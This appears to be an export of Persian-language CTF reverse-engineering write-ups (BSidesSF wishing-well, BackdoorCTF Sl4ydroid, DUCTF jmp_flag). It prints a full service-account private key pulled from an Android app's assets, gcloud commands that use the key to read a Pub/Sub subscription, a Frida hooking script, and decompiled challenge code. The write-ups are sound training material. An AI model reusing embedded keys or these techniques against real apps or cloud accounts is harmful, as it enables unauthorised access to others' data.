\u067e\u0633 \u0633\u0631 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0647\u0645 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627 \u0631\u0648 \u0645\u06cc\u0627\u0631\u06cc\u0645 =))

\u0645\u062c\u062f\u062f\u0627 \u0627\u0632 \u0631\u0648\u06cc AndroidManifest.xml \u067e\u06a9\u06cc\u062c\u200c\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u062a\u0648 \u06a9\u0644\u0627\u0633\u0634 \u0633\u0631\u06a9 \u0628\u06a9\u0634\u06cc\u0645

MainActivity \u06a9\u0647 \u06a9\u0627\u0631 \u062e\u0627\u0635\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u0645\u06cc\u062f\u0647 \u0648 \u0635\u0631\u0641\u0627 \u062a\u0627\u0628\u0639 publishWish \u0631\u0648 \u0628\u0627 \u06cc\u0647 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0647 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u0647

\u0648 \u0627\u0645\u0627 \u06a9\u0644\u0627\u0633 PubSub

\u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0627\u0632 \u0627\u0633\u0645\u0634 \u0647\u0645 \u067e\u06cc\u062f\u0627\u0633\u062a\u060c \u0648\u0638\u06cc\u0641\u0647 publish-subscribe \u0631\u0648 \u062f\u0627\u0631\u0647

\u062e\u06cc\u0644\u06cc \u062e\u0644\u0627\u0635\u0647 \u0628\u062e\u0648\u0627\u0645 \u0628\u06af\u0645\u060c PubSub \u06cc\u0647 \u062e\u062f\u0645\u062a\u06cc\u0647 \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0642\u0627\u0644 \u06cc\u0647 \u067e\u06cc\u0627\u0645 \u0628\u06cc\u0646 \u062f\u06cc\u0648\u0627\u06cc\u0633 \u0647\u0627 \u0628\u0647 \u0648\u0627\u0633\u062a\u0647 \u06af\u0648\u06af\u0644 \u0647\u0633\u062a

\u0628\u0639\u0636\u06cc \u0627\u0632 \u0646\u0648\u062a\u06cc\u0641\u06cc\u06a9\u06cc\u0634\u0646 \u0647\u0627 \u0647\u0645 \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0637\u0631\u06cc\u0642 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0645\u0628\u0627\u062d\u062b\u06cc \u0645\u062b\u0644 \u062a\u0627\u067e\u06cc\u06a9 \u0628\u0646\u062f\u06cc \u0648 ... \u0647\u0645 \u062a\u0648\u0634\u0648\u0646 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647

\u0627\u06af\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u062f \u062f\u0631\u0628\u0627\u0631\u0647 pub/sub \u0628\u06cc\u0634\u062a\u0631 \u0628\u062e\u0648\u0646\u06cc\u062f\u060c \u0631\u0648 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f

\u0628\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0627\u062f\u0627\u0645\u0647 \u0686\u0627\u0644\u0634

\u06af\u0648\u06af\u0644 \u0628\u0631\u0627\u06cc api call \u0632\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u0627\u0634 (\u0645\u0627\u0634\u0627\u0644\u0644\u0647 \u0686\u0642\u062f\u0631 \u0647\u0645 \u0632\u06cc\u0627\u062f\u0646 \u0648 \u062e\u062f\u0627 \u0628\u06cc\u0634\u062a\u0631\u0634 \u06a9\u0646\u0647) \u06cc\u0647 \u0627\u0628\u0632\u0627\u0631 cli \u0633\u0627\u062e\u062a\u0647 \u0628\u0647 \u0627\u0633\u0645 gcloud \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u06a9\u0627\u0631 \u0645\u0627 \u0631\u0648 \u0631\u0627\u062d\u062a \u0645\u06cc\u06a9\u0646\u0647

\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0647 \u0628\u0631\u0645 \u0633\u0631\u0627\u063a\u0634 \u0628\u0647 \u0627\u06cc\u0646\u0645 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0646\u0645 \u06a9\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062a\u0648 \u0639\u06a9\u0633 \u0647\u0645 \u0645\u0634\u062e\u0635\u0647\u060c \u06cc\u0647 \u0641\u0627\u06cc\u0644 key.json \u0647\u0645 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u0631\u0627 api call \u0647\u0627 \u0646\u06cc\u0627\u0632\u0634 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0627\u0632 \u062a\u0648 \u0641\u0648\u0644\u062f\u0631 assets \u0628\u0631\u0634\u200c\u0645\u06cc\u062f\u0627\u0631\u06cc\u0645

{\n  \"type\": \"service_account\",\n  \"project_id\": \"bsides-sf-ctf-2023\",\n  \"private_key_id\": \"ca50571bf6de0a614a66ede75f325969cc425308\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDUjDLTA2b2iX1u\\n5wYUJRv145yYtFNrwM0gCWuFXUNt99d/aZTU965U8W0OFQF1P82pCGHcOWiSDJCk\\nyup+1bLG40n51jqBAk4UzUS2fQt9YvWK0QKjAJ3mOnDKs8BKcrUIAI1yEUgN3Ygj\\ns92HZd15XegN+PtOfDVr+Fds+xsf0vnVUjJRJTLglyOLc4a0GepprdxEnjxugTJY\\nHGCN0yB6I1Cc5tkNnwo4+DWxcsuNjm3zjmR9oa5+032CuV/uPED7KoeQ+4ZP6Ics\\nRmmIeOH+aZ2niIG1I6e+lzK0WIpCHI/1SLwEa65OTMdubVmUIgDAQKahV2jx3P6h\\nCuRbe9dzAgMBAAECggEAPVTjSY5+xH8yCbFySJfYtKBkTJAkTkCJMEhnlUkvLulI\\nbsSppLZ/wJUV0e1vyUSK9M6tZl3Ode5YQqUm+0hw2QE3FHej1Bw1Kb19qWb1zM2k\\natUa/Kwt5ARTDbrGrvTglhmKtzKTZyTYpuy87NgRC3d0gaup4KDozWoQ2CqxTgIN\\nXCi/6TmLX4jLUQAf0eTiiKrAJCZXiOVLxJ1nrzZIX9GujD1ihcKvhVpoRQOK4dMG\\n+TZirz7qqNXFrdV/Q31XdP2rSpOoKUUNSYYGDHicGSJxyt93igxawscIPSk3clBx\\nVC2gLTmAKYD0mS9icLOhcTYp0R76/9wy19iHeA1jMQKBgQDubxAklGVUH7SOKggL\\nsUXTDbZpC6HrcYuW+uPF/RJuocgnSd6bYIZUbbVRQfmltzVDvcGovZc4uKlCesMV\\nOVPTo9RJjXg4RH8iuPQk1lJsfAfjrOrfbrXL/9kdJrqn0n3cxF2uwoKU0k8dEw9r\\nBBiqOi/q1oxl5QRe5N/vzE5nCQKBgQDkNOnwlCi74X5iS1kxv3+8XnQdpHaus8RB\\nVIOwota2LPZRkjlpLrKmcUEOb3LeNSLiRVJp4f9OiI1C0fy/aP9Kv9dvu223fGqd\\n4W2JsBH0xmX27qU8dKVuRNETlnNGae+TTYXNlLwfw/dNOEP1kt1hjv3cyq/9gIuI\\nwxERcIgNmwKBgGeTHWsWf5H0l+VtwsL5hgBxo3ysTfFOCLpUUF+wWLJwWtceUrIi\\nUxgX9DzRMRZYqK29n4OioC9GoFg9pcLxfUWhlFVDPCcNMkEuIPhjlbiEhJTVh835\\ndMWiZXkxWsIOQRiGwL9qxXjKhw11Oyxcwi4oSqpz+tdEjgp+1/x+PsypAoGAO1sf\\n9fkzVxrhmoNqoavjd4VBwmwCipIrW6q1zf2sxxmOv8y+rgL9aJlQiIaoY++CMURC\\nmVO06iJOS7D+gnK25CRdzqv7b5wmxwXZTdTD9tybrMyJod3dIX84ulWJiikHrVKe\\nmMg03jZEXoth8b/PYQ6mLQVzHQaQRHQoPlb8rD0CgYBIVU23/bcYoS7kRo8utxDy\\nWraoJvBXUQ6g9jGN4yX4IuRIsHcsvEQHI+cW0m1lNMLycKq5lQYra6ZuZL4KVbyn\\nKcOOP6qownLnx0hPgbAHDTyD3kSSnvlaTWrnSAuoy/exrMrZ9LPVXVgTz/uwa/Zj\\n3I3W/S3b2d8WQomqCbs6Sg==\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"wishing-well-pubsub@bsides-sf-ctf-2023.iam.gserviceaccount.com\",\n  \"client_id\": \"118295537994451394759\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/wishing-well-pubsub%40bsides-sf-ctf-2023.iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n

\u0628\u0639\u062f \u0627\u0632 \u0646\u0635\u0628 \u0627\u0628\u0632\u0627\u0631 gcloud \u0645\u06cc\u0631\u06cc\u0645 \u06a9\u0647 \u0641\u0627\u06cc\u0644 key.json \u0631\u0648 \u0628\u0647\u0634 \u0628\u062f\u06cc\u0645

gcloud auth activate-service-account --key-file=key.json\n

\u0628\u0639\u062f \u0646\u0648\u0628\u062a \u0628\u0647 api call \u0647\u0627\u0645\u0648\u0646 \u0645\u06cc\u0631\u0633\u0647

\u0645\u0646 \u062e\u06cc\u0644\u06cc \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0645 \u06cc\u0647 \u062c\u0627\u06cc\u06cc \u0645\u06cc\u0628\u0648\u062f \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a\u0645 \u062a\u0645\u0627\u0645 scope \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0631\u062f\u0646\u0634\u06cc\u0627\u0644 \u0628\u0647\u0634\u0648\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0627\u0631\u0647 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u0627\u0645\u0627 \u062e\u0648 \u0646\u0634\u062f \u0648 \u062e\u0648\u062f \u0627\u06cc\u0646 \u06a9\u0647 (\u0628\u0641\u0647\u0645\u06cc \u0628\u0647 \u06a9\u062c\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0627\u0631\u06cc) \u0647\u0645 \u06cc\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u062e\u0627\u0635 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06a9\u0627\u0646\u062a \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0628\u0648\u062f =))))

\u067e\u0633 \u062f\u0631 \u0642\u062f\u0645 \u0627\u0648\u0644 \u06cc\u0647 \u067e\u06cc\u0627\u0645 \u067e\u0648\u0634 \u06a9\u0631\u062f\u06cc\u0645 \u0633\u0645\u062a PubSub \u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0647\u0645\u0647 \u0686\u06cc \u0627\u0648\u06a9\u06cc\u0647

$ gcloud pubsub topics publish wishing-well --message=flag --project=bsides-sf-ctf-2023\n\nmessageIds:\n- '11008165207535342'\n

\u0647\u0645\u0647 \u0686\u06cc \u062f\u0631\u0633\u062a\u0647

\u062d\u0627\u0644\u0627 \u0627\u0645\u0627 \u0641\u0644\u06af \u06a9\u062c\u0627\u0633\u062a\u060c \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0628\u0639\u062f\u060c \u0686\u0644\u0646\u062c \u062e\u06cc\u0644\u06cc guessy (\u062d\u062f\u0633\u06cc) \u0645\u06cc\u0634\u0647 \u0648 \u0634\u0645\u0627 \u0628\u0627\u06cc\u062f \u0627\u0632 \u063a\u06cc\u0628 \u0628\u0641\u0647\u0645\u06cc\u062f \u06a9\u0647 \u0628\u0627 \u0647\u0645\u06cc\u0646 \u06a9\u0631\u062f\u0646\u0634\u06cc\u0627\u0644\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u067e\u06cc\u0627\u0645 \u0647\u0627 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f \u0648 \u0628\u0627 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u0641\u0644\u06af \u0631\u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u06cc\u062f

gcloud pubsub subscriptions pull wishing-well-sub --project=bsides-sf-ctf-2023\n

\u0645\u06cc\u062f\u0648\u0646\u0645 \u062e\u06cc\u0644\u06cc \u0633\u0648\u0627\u0644 \u062f\u0627\u0631\u06cc\u062f

\u0645\u0646\u0645 \u062e\u06cc\u0644\u06cc \u0633\u0648\u0627\u0644 \u062f\u0627\u0634\u062a\u0645 \u0627\u0645\u0627 \u06a9\u0633\u06cc \u0646\u0628\u0648\u062f \u0627\u0632\u0634 \u0628\u067e\u0631\u0633\u0645

\u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0628\u0639\u062f \u0627\u0632 \u0632\u062f\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0686\u0646\u06cc\u0646 \u0642\u0627\u0644\u0628\u06cc \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                          DATA                          \u2502     MESSAGE_ID    \u2502 ORDERING_KEY \u2502 ATTRIBUTES \u2502 DELIVERY_ATTEMPT \u2502                                                                                                ACK_ID                                                                                                \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 {\"data\": {\"message\": \"CTF{W1sh3s-publish3d-gr4nt3d}\"}} \u2502 11104663640891080 \u2502              \u2502            \u2502                  \u2502 BhYsXUZIUTcZCGhRDk9eIz81IChFEgEIFAV8fXdbS3VdXn1oUQ0Zcn1gfTxeRQJTR1F6DVEfC2JcTkQHSf3MpvxXV0tbEgACQVV4XF0fDWBVXXUPUSWew4fWtuPUMBs-faOri9otLcz_opY1ZiI9XxJLLD5-KTBFQV5AEkwiBURJUytDCypYEU4EISE-MD5FU0RQ \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
FLAG

CTF{W1sh3s-publish3d-gr4nt3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Reverse","Android"]},{"location":"reverse/writeups/BackdoorCTF/Sl4ydroid/","title":"Sl4ydroid","text":"

\u0628\u0627 \u0647\u0648\u06a9 \u06a9\u0631\u062f\u0646 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u062a\u0648 \u0622\u062f\u0631\u0633 0x23820 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u062a\u06cc\u06a9\u0647 \u0647\u0627\u06cc \u0641\u0644\u06af \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645

var awaitForCondition = function (callback) {\n  var int = setInterval(function () {\n    var addr = Module.findBaseAddress(\"libsl4ydroid.so\");\n    if (addr) {\n      console.log(\"SO Address found:\", addr);\n      clearInterval(int);\n      callback(addr);\n      return;\n    }\n  }, 0);\n};\nawaitForCondition(function (baseAddr) {\n  Interceptor.attach(baseAddr.add(0x23820), {\n    onEnter: function(args) {\n      console.log(args[0].readUtf8String())\n  },\n\n  });\n  Interceptor.flush();\n});\n
\u0628\u0627 \u0627\u0628\u0632\u0627\u0631 \u0641\u0631\u06cc\u062f\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0647\u0648\u06a9 \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645
frida -U -f com.backdoor.sl4ydroid -l Sl4ydroid.js\n

","tags":["BackdoorCTF","BackdoorCTF-2023","Reverse","Android","Frida","Hooking"]},{"location":"reverse/writeups/DUCTF/jmp_flag/","title":"\u0686\u0627\u0644\u0634 jmp flag","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0627\u0648\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0628\u0631\u0631\u0633\u06cc \u0627\u0628\u062a\u062f\u0627\u06cc\u06cc \u0645\u062b\u0644 strings \u0648 file \u0648 ... \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0646\u062a\u06cc\u062c\u0647 \u062e\u0627\u0635\u06cc \u0646\u062f\u0627\u0631\u0647. \u062f\u0631 \u0645\u0631\u062d\u0644\u0647 \u0628\u0639\u062f \u062e\u0631\u0648\u062c\u06cc decompiler \u0631\u0648 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u0632 hex ray \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0645\u06cc\u200c\u06af\u06cc\u0631\u06cc\u0645. \u0628\u0631\u0631\u0633\u06cc \u06a9\u0644\u06cc \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0648\u0631\u0648\u062f\u06cc \u06f6\u06f4 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u200c\u06a9\u0646\u0647 \u0648 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0647\u0631 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc\u060c \u062a\u0627\u0628\u0639\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0648 \u0635\u062f\u0627 \u0645\u06cc\u0632\u0646\u0647 \u0648 \u0645\u0642\u062f\u0627\u0631 \u06cc\u06a9 \u0645\u062a\u063a\u06cc\u0631 \u0631\u0648 \u062f\u0631 \u062f\u06cc\u062a\u0627 \u0633\u06af\u0645\u0646\u062a \u0628\u0647 \u0637\u0648\u0631 \u0645\u062f\u0627\u0648\u0645 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc\u200c\u062f\u0647. \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0686\u06a9 \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0627\u06af\u0631 \u0645\u0642\u062f\u0627\u0631 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 \u0628\u0631\u0627\u0628\u0631 \u0635\u0641\u0631 \u0628\u0648\u062f \u062c\u0648\u0627\u0628 \u0645\u0627 \u062f\u0631\u0633\u062a \u0628\u0648\u062f\u0647 \u0648 \u0648\u0631\u0648\u062f\u06cc \u0647\u0645\u0648\u0646 \u0641\u0644\u06af \u0633\u0648\u0627\u0644 \u0647\u0633\u062a. \u0628\u0631\u062e\u06cc \u0642\u0633\u0645\u062a\u200c\u0647\u0627\u06cc \u0645\u0647\u0645 \u06a9\u062f \u062f\u0631 \u0632\u06cc\u0631 \u0622\u0648\u0631\u062f\u0647 \u0634\u062f\u0647.

__int64 qword_9010 = -1LL;\n\n\n_BOOL8 sub_1200()\n{\n  return qword_9010 == 0;\n}\n\nvoid __fastcall sub_1280(char a1)\n{\n  __asm { jmp     rax }\n}\n\nvoid sub_2300()\n{\n  qword_9010 = -1;\n}\n\n__int64 sub_5000()\n{\n  __int64 result; // rax\n\n  result = qword_9010 & 0x77FFD7ECCEEFDFFELL;\n  if ( (qword_9010 & 0x77FFD7ECCEEFDFFELL) == 0 )\n  {\n    qword_9010 ^= 0x80000000000uLL;\n    return qword_9010;\n  }\n  return result;\n}\n\n__int64 __fastcall main(int a1, char **a2, char **a3)\n{\n  int i; // [rsp+Ch] [rbp-54h]\n  __int64 v5[8]; // [rsp+10h] [rbp-50h] BYREF\n  char v6; // [rsp+50h] [rbp-10h]\n  unsigned __int64 v7; // [rsp+58h] [rbp-8h]\n\n  v7 = __readfsqword(0x28u);\n  memset(v5, 0, sizeof(v5));\n  v6 = 0;\n  __isoc99_scanf(\"%64s\", v5);\n  for ( i = 0; i <= 63; ++i )\n    sub_1280(*((_BYTE *)v5 + i));\n  if ( sub_1200() )\n    printf(\"Correct! DUCTF{%s}\\n\", (const char *)v5);\n  else\n    puts(\"Incorrect!\");\n  return 0LL;\n}\n

